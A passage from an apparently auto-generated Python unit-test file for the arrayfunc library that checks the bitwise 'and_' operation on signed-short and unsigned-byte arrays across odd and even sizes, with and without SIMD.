# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
pydataout = [x & testval for x in datax]
expected = pydataout[0:self.limited] + list(datax)[self.limited:]
arrayfunc.and_(datax, testval, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(datax, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_array_b1(self):
"""Test and_ as *array-num-array* for basic function - Array code B.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
expected = [x & testval for x in datax]
arrayfunc.and_(datax, testval, self.dataout , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_array_b2(self):
"""Test and_ as *array-num-array* for basic function with array limit - Array code B.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
pydataout = [x & testval for x in datax]
expected = pydataout[0:self.limited] + list(self.dataout)[self.limited:]
arrayfunc.and_(datax, testval, self.dataout, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_none_c1(self):
"""Test and_ as *num-array-none* for basic function - Array code B.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
expected = [testval & x for x in datay]
arrayfunc.and_(testval, datay , nosimd=True)
for dataoutitem, expecteditem in zip(datay, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_none_c2(self):
"""Test and_ as *num-array-none* for basic function with array limit - Array code B.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
pydataout = [testval & x for x in datay]
expected = pydataout[0:self.limited] + list(datay)[self.limited:]
arrayfunc.and_(testval, datay, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(datay, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_array_d1(self):
"""Test and_ as *num-array-array* for basic function - Array code B.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
expected = [testval & x for x in datay]
arrayfunc.and_(testval, datay, self.dataout , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_array_d2(self):
"""Test and_ as *num-array-array* for basic function with array limit - Array code B.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
pydataout = [testval & x for x in datay]
expected = pydataout[0:self.limited] + list(self.dataout)[self.limited:]
arrayfunc.and_(testval, datay, self.dataout, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_none_e1(self):
"""Test and_ as *array-array-none* for basic function - Array code B.
"""
expected = [x & y for (x, y) in zip(self.data1, self.data2)]
arrayfunc.and_(self.data1, self.data2 , nosimd=True)
for dataoutitem, expecteditem in zip(self.data1, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_none_e2(self):
"""Test and_ as *array-array-none* for basic function with array limit - Array code B.
"""
pydataout = [x & y for (x, y) in zip(self.data1, self.data2)]
expected = pydataout[0:self.limited] + list(self.data1)[self.limited:]
arrayfunc.and_(self.data1, self.data2, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(self.data1, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_array_e3(self):
"""Test and_ as *array-array-array* for basic function - Array code B.
"""
expected = [x & y for (x, y) in zip(self.data1, self.data2)]
arrayfunc.and_(self.data1, self.data2, self.dataout , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
##############################################################################
##############################################################################
class and__general_odd_arraysize_withsimd_simd_B(unittest.TestCase):
"""Test and_ for basic general function operation .
test_template_binop_andorxor
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'odd' == 'even':
testdatasize = 320
if 'odd' == 'odd':
testdatasize = 319
paramitersize = 5
decentre = testdatasize // 2
minval = arrayfunc.arraylimits.B_min
maxval = arrayfunc.arraylimits.B_max
# Calculate our interval, while making sure that it is not zero.
dstep = max((maxval - minval) // testdatasize, 1)
# Generate test data over the full data type range.
xdata = list(itertools.islice(itertools.cycle(range(minval, maxval, dstep)), testdatasize))
# Make sure the last value is the largest number in the range and
# that we have 0, 1, and -1 in the signed data samples as well.
xdata[-1] = maxval
xdata[decentre] = 0
xdata[decentre + 1] = 1
if minval < 0:
xdata[decentre - 1] = -1
# A list of numbers, but in reverse order to that used for 'x'.
ydata = list(itertools.islice(itertools.cycle(range(maxval, minval, -dstep)), testdatasize))
# Make sure the last value is the largest number in the range and
# that we have 0, 1, and -1 in the signed data samples as well.
ydata[-5] = maxval
ydata[5] = 0
ydata[6] = 1
if minval < 0:
ydata[4] = -1
self.data1 = array.array('B', xdata)
self.data2 = array.array('B', ydata)
self.dataout = array.array('B', [0]*len(self.data1))
self.limited = len(self.data1) // 2
# This is used for testing with single parameters. We use a limited
# data set to avoid excessive numbers of sub-tests.
self.data1param = self.data1[:paramitersize]
self.data2param = self.data2[:paramitersize]
########################################################
def test_and__basic_array_num_none_a1(self):
"""Test and_ as *array-num-none* for basic function - Array code B.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
expected = [x & testval for x in datax]
arrayfunc.and_(datax, testval )
for dataoutitem, expecteditem in zip(datax, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_none_a2(self):
"""Test and_ as *array-num-none* for basic function with array limit - Array code B.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
pydataout = [x & testval for x in datax]
expected = pydataout[0:self.limited] + list(datax)[self.limited:]
arrayfunc.and_(datax, testval, maxlen=self.limited )
for dataoutitem, expecteditem in zip(datax, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_array_b1(self):
"""Test and_ as *array-num-array* for basic function - Array code B.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
expected = [x & testval for x in datax]
arrayfunc.and_(datax, testval, self.dataout )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_array_b2(self):
"""Test and_ as *array-num-array* for basic function with array limit - Array code B.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
pydataout = [x & testval for x in datax]
expected = pydataout[0:self.limited] + list(self.dataout)[self.limited:]
arrayfunc.and_(datax, testval, self.dataout, maxlen=self.limited )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_none_c1(self):
"""Test and_ as *num-array-none* for basic function - Array code B.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
expected = [testval & x for x in datay]
arrayfunc.and_(testval, datay )
for dataoutitem, expecteditem in zip(datay, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_none_c2(self):
"""Test and_ as *num-array-none* for basic function with array limit - Array code B.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
pydataout = [testval & x for x in datay]
expected = pydataout[0:self.limited] + list(datay)[self.limited:]
arrayfunc.and_(testval, datay, maxlen=self.limited )
for dataoutitem, expecteditem in zip(datay, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_array_d1(self):
"""Test and_ as *num-array-array* for basic function - Array code B.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
expected = [testval & x for x in datay]
arrayfunc.and_(testval, datay, self.dataout )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_array_d2(self):
"""Test and_ as *num-array-array* for basic function with array limit - Array code B.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
pydataout = [testval & x for x in datay]
expected = pydataout[0:self.limited] + list(self.dataout)[self.limited:]
arrayfunc.and_(testval, datay, self.dataout, maxlen=self.limited )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_none_e1(self):
"""Test and_ as *array-array-none* for basic function - Array code B.
"""
expected = [x & y for (x, y) in zip(self.data1, self.data2)]
arrayfunc.and_(self.data1, self.data2 )
for dataoutitem, expecteditem in zip(self.data1, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_none_e2(self):
"""Test and_ as *array-array-none* for basic function with array limit - Array code B.
"""
pydataout = [x & y for (x, y) in zip(self.data1, self.data2)]
expected = pydataout[0:self.limited] + list(self.data1)[self.limited:]
arrayfunc.and_(self.data1, self.data2, maxlen=self.limited )
for dataoutitem, expecteditem in zip(self.data1, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_array_e3(self):
"""Test and_ as *array-array-array* for basic function - Array code B.
"""
expected = [x & y for (x, y) in zip(self.data1, self.data2)]
arrayfunc.and_(self.data1, self.data2, self.dataout )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
##############################################################################
##############################################################################
class and__general_even_arraysize_nosimd_simd_h(unittest.TestCase):
"""Test and_ for basic general function operation .
test_template_binop_andorxor
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'even' == 'even':
testdatasize = 320
if 'even' == 'odd':
testdatasize = 319
paramitersize = 5
decentre = testdatasize // 2
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
# Calculate our interval, while making sure that it is not zero.
dstep = max((maxval - minval) // testdatasize, 1)
# Generate test data over the full data type range.
xdata = list(itertools.islice(itertools.cycle(range(minval, maxval, dstep)), testdatasize))
# Make sure the last value is the largest number in the range and
# that we have 0, 1, and -1 in the signed data samples as well.
xdata[-1] = maxval
xdata[decentre] = 0
xdata[decentre + 1] = 1
if minval < 0:
xdata[decentre - 1] = -1
# A list of numbers, but in reverse order to that used for 'x'.
ydata = list(itertools.islice(itertools.cycle(range(maxval, minval, -dstep)), testdatasize))
# Make sure the last value is the largest number in the range and
# that we have 0, 1, and -1 in the signed data samples as well.
ydata[-5] = maxval
ydata[5] = 0
ydata[6] = 1
if minval < 0:
ydata[4] = -1
self.data1 = array.array('h', xdata)
self.data2 = array.array('h', ydata)
self.dataout = array.array('h', [0]*len(self.data1))
self.limited = len(self.data1) // 2
# This is used for testing with single parameters. We use a limited
# data set to avoid excessive numbers of sub-tests.
self.data1param = self.data1[:paramitersize]
self.data2param = self.data2[:paramitersize]
########################################################
def test_and__basic_array_num_none_a1(self):
"""Test and_ as *array-num-none* for basic function - Array code h.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
expected = [x & testval for x in datax]
arrayfunc.and_(datax, testval , nosimd=True)
for dataoutitem, expecteditem in zip(datax, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_none_a2(self):
"""Test and_ as *array-num-none* for basic function with array limit - Array code h.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
pydataout = [x & testval for x in datax]
expected = pydataout[0:self.limited] + list(datax)[self.limited:]
arrayfunc.and_(datax, testval, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(datax, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_array_b1(self):
"""Test and_ as *array-num-array* for basic function - Array code h.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
expected = [x & testval for x in datax]
arrayfunc.and_(datax, testval, self.dataout , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_array_b2(self):
"""Test and_ as *array-num-array* for basic function with array limit - Array code h.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
pydataout = [x & testval for x in datax]
expected = pydataout[0:self.limited] + list(self.dataout)[self.limited:]
arrayfunc.and_(datax, testval, self.dataout, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_none_c1(self):
"""Test and_ as *num-array-none* for basic function - Array code h.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
expected = [testval & x for x in datay]
arrayfunc.and_(testval, datay , nosimd=True)
for dataoutitem, expecteditem in zip(datay, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_none_c2(self):
"""Test and_ as *num-array-none* for basic function with array limit - Array code h.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
pydataout = [testval & x for x in datay]
expected = pydataout[0:self.limited] + list(datay)[self.limited:]
arrayfunc.and_(testval, datay, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(datay, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_array_d1(self):
"""Test and_ as *num-array-array* for basic function - Array code h.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
expected = [testval & x for x in datay]
arrayfunc.and_(testval, datay, self.dataout , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_array_d2(self):
"""Test and_ as *num-array-array* for basic function with array limit - Array code h.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
pydataout = [testval & x for x in datay]
expected = pydataout[0:self.limited] + list(self.dataout)[self.limited:]
arrayfunc.and_(testval, datay, self.dataout, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_none_e1(self):
"""Test and_ as *array-array-none* for basic function - Array code h.
"""
expected = [x & y for (x, y) in zip(self.data1, self.data2)]
arrayfunc.and_(self.data1, self.data2 , nosimd=True)
for dataoutitem, expecteditem in zip(self.data1, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_none_e2(self):
"""Test and_ as *array-array-none* for basic function with array limit - Array code h.
"""
pydataout = [x & y for (x, y) in zip(self.data1, self.data2)]
expected = pydataout[0:self.limited] + list(self.data1)[self.limited:]
arrayfunc.and_(self.data1, self.data2, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(self.data1, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_array_e3(self):
"""Test and_ as *array-array-array* for basic function - Array code h.
"""
expected = [x & y for (x, y) in zip(self.data1, self.data2)]
arrayfunc.and_(self.data1, self.data2, self.dataout , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
##############################################################################
##############################################################################
class and__general_even_arraysize_withsimd_simd_h(unittest.TestCase):
"""Test and_ for basic general function operation .
test_template_binop_andorxor
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'even' == 'even':
testdatasize = 320
if 'even' == 'odd':
testdatasize = 319
paramitersize = 5
decentre = testdatasize // 2
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
# Calculate our interval, while making sure that it is not zero.
dstep = max((maxval - minval) // testdatasize, 1)
# Generate test data over the full data type range.
xdata = list(itertools.islice(itertools.cycle(range(minval, maxval, dstep)), testdatasize))
# Make sure the last value is the largest number in the range and
# that we have 0, 1, and -1 in the signed data samples as well.
xdata[-1] = maxval
xdata[decentre] = 0
xdata[decentre + 1] = 1
if minval < 0:
xdata[decentre - 1] = -1
# A list of numbers, but in reverse order to that used for 'x'.
ydata = list(itertools.islice(itertools.cycle(range(maxval, minval, -dstep)), testdatasize))
# Make sure the last value is the largest number in the range and
# that we have 0, 1, and -1 in the signed data samples as well.
ydata[-5] = maxval
ydata[5] = 0
ydata[6] = 1
if minval < 0:
ydata[4] = -1
self.data1 = array.array('h', xdata)
self.data2 = array.array('h', ydata)
self.dataout = array.array('h', [0]*len(self.data1))
self.limited = len(self.data1) // 2
# This is used for testing with single parameters. We use a limited
# data set to avoid excessive numbers of sub-tests.
self.data1param = self.data1[:paramitersize]
self.data2param = self.data2[:paramitersize]
########################################################
def test_and__basic_array_num_none_a1(self):
"""Test and_ as *array-num-none* for basic function - Array code h.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
expected = [x & testval for x in datax]
arrayfunc.and_(datax, testval )
for dataoutitem, expecteditem in zip(datax, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_none_a2(self):
"""Test and_ as *array-num-none* for basic function with array limit - Array code h.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
pydataout = [x & testval for x in datax]
expected = pydataout[0:self.limited] + list(datax)[self.limited:]
arrayfunc.and_(datax, testval, maxlen=self.limited )
for dataoutitem, expecteditem in zip(datax, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_array_b1(self):
"""Test and_ as *array-num-array* for basic function - Array code h.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
expected = [x & testval for x in datax]
arrayfunc.and_(datax, testval, self.dataout )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_array_b2(self):
"""Test and_ as *array-num-array* for basic function with array limit - Array code h.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
pydataout = [x & testval for x in datax]
expected = pydataout[0:self.limited] + list(self.dataout)[self.limited:]
arrayfunc.and_(datax, testval, self.dataout, maxlen=self.limited )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_none_c1(self):
"""Test and_ as *num-array-none* for basic function - Array code h.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
expected = [testval & x for x in datay]
arrayfunc.and_(testval, datay )
for dataoutitem, expecteditem in zip(datay, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_none_c2(self):
"""Test and_ as *num-array-none* for basic function with array limit - Array code h.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
pydataout = [testval & x for x in datay]
expected = pydataout[0:self.limited] + list(datay)[self.limited:]
arrayfunc.and_(testval, datay, maxlen=self.limited )
for dataoutitem, expecteditem in zip(datay, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_array_d1(self):
"""Test and_ as *num-array-array* for basic function - Array code h.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
expected = [testval & x for x in datay]
arrayfunc.and_(testval, datay, self.dataout )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_array_d2(self):
"""Test and_ as *num-array-array* for basic function with array limit - Array code h.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
pydataout = [testval & x for x in datay]
expected = pydataout[0:self.limited] + list(self.dataout)[self.limited:]
arrayfunc.and_(testval, datay, self.dataout, maxlen=self.limited )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_none_e1(self):
"""Test and_ as *array-array-none* for basic function - Array code h.
"""
expected = [x & y for (x, y) in zip(self.data1, self.data2)]
arrayfunc.and_(self.data1, self.data2 )
for dataoutitem, expecteditem in zip(self.data1, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_none_e2(self):
"""Test and_ as *array-array-none* for basic function with array limit - Array code h.
"""
pydataout = [x & y for (x, y) in zip(self.data1, self.data2)]
expected = pydataout[0:self.limited] + list(self.data1)[self.limited:]
arrayfunc.and_(self.data1, self.data2, maxlen=self.limited )
for dataoutitem, expecteditem in zip(self.data1, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_array_e3(self):
"""Test and_ as *array-array-array* for basic function - Array code h.
"""
expected = [x & y for (x, y) in zip(self.data1, self.data2)]
arrayfunc.and_(self.data1, self.data2, self.dataout )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
##############################################################################
##############################################################################
class and__general_odd_arraysize_nosimd_simd_h(unittest.TestCase):
"""Test and_ for basic general function operation .
test_template_binop_andorxor
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'odd' == 'even':
testdatasize = 320
if 'odd' == 'odd':
testdatasize = 319
paramitersize = 5
decentre = testdatasize // 2
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
# Calculate our interval, while making sure that it is not zero.
dstep = max((maxval - minval) // testdatasize, 1)
# Generate test data over the full data type range.
xdata = list(itertools.islice(itertools.cycle(range(minval, maxval, dstep)), testdatasize))
# Make sure the last value is the largest number in the range and
# that we have 0, 1, and -1 in the signed data samples as well.
xdata[-1] = maxval
xdata[decentre] = 0
xdata[decentre + 1] = 1
if minval < 0:
xdata[decentre - 1] = -1
# A list of numbers, but in reverse order to that used for 'x'.
ydata = list(itertools.islice(itertools.cycle(range(maxval, minval, -dstep)), testdatasize))
# Make sure the last value is the largest number in the range and
# that we have 0, 1, and -1 in the signed data samples as well.
ydata[-5] = maxval
ydata[5] = 0
ydata[6] = 1
if minval < 0:
ydata[4] = -1
self.data1 = array.array('h', xdata)
self.data2 = array.array('h', ydata)
self.dataout = array.array('h', [0]*len(self.data1))
self.limited = len(self.data1) // 2
# This is used for testing with single parameters. We use a limited
# data set to avoid excessive numbers of sub-tests.
self.data1param = self.data1[:paramitersize]
self.data2param = self.data2[:paramitersize]
########################################################
def test_and__basic_array_num_none_a1(self):
"""Test and_ as *array-num-none* for basic function - Array code h.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
expected = [x & testval for x in datax]
arrayfunc.and_(datax, testval , nosimd=True)
for dataoutitem, expecteditem in zip(datax, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_none_a2(self):
"""Test and_ as *array-num-none* for basic function with array limit - Array code h.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
pydataout = [x & testval for x in datax]
expected = pydataout[0:self.limited] + list(datax)[self.limited:]
arrayfunc.and_(datax, testval, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(datax, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_array_b1(self):
"""Test and_ as *array-num-array* for basic function - Array code h.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
expected = [x & testval for x in datax]
arrayfunc.and_(datax, testval, self.dataout , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_array_b2(self):
"""Test and_ as *array-num-array* for basic function with array limit - Array code h.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
pydataout = [x & testval for x in datax]
expected = pydataout[0:self.limited] + list(self.dataout)[self.limited:]
arrayfunc.and_(datax, testval, self.dataout, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_none_c1(self):
"""Test and_ as *num-array-none* for basic function - Array code h.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
expected = [testval & x for x in datay]
arrayfunc.and_(testval, datay , nosimd=True)
for dataoutitem, expecteditem in zip(datay, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_none_c2(self):
"""Test and_ as *num-array-none* for basic function with array limit - Array code h.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
pydataout = [testval & x for x in datay]
expected = pydataout[0:self.limited] + list(datay)[self.limited:]
arrayfunc.and_(testval, datay, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(datay, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_array_d1(self):
"""Test and_ as *num-array-array* for basic function - Array code h.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
expected = [testval & x for x in datay]
arrayfunc.and_(testval, datay, self.dataout , nosimd=True)
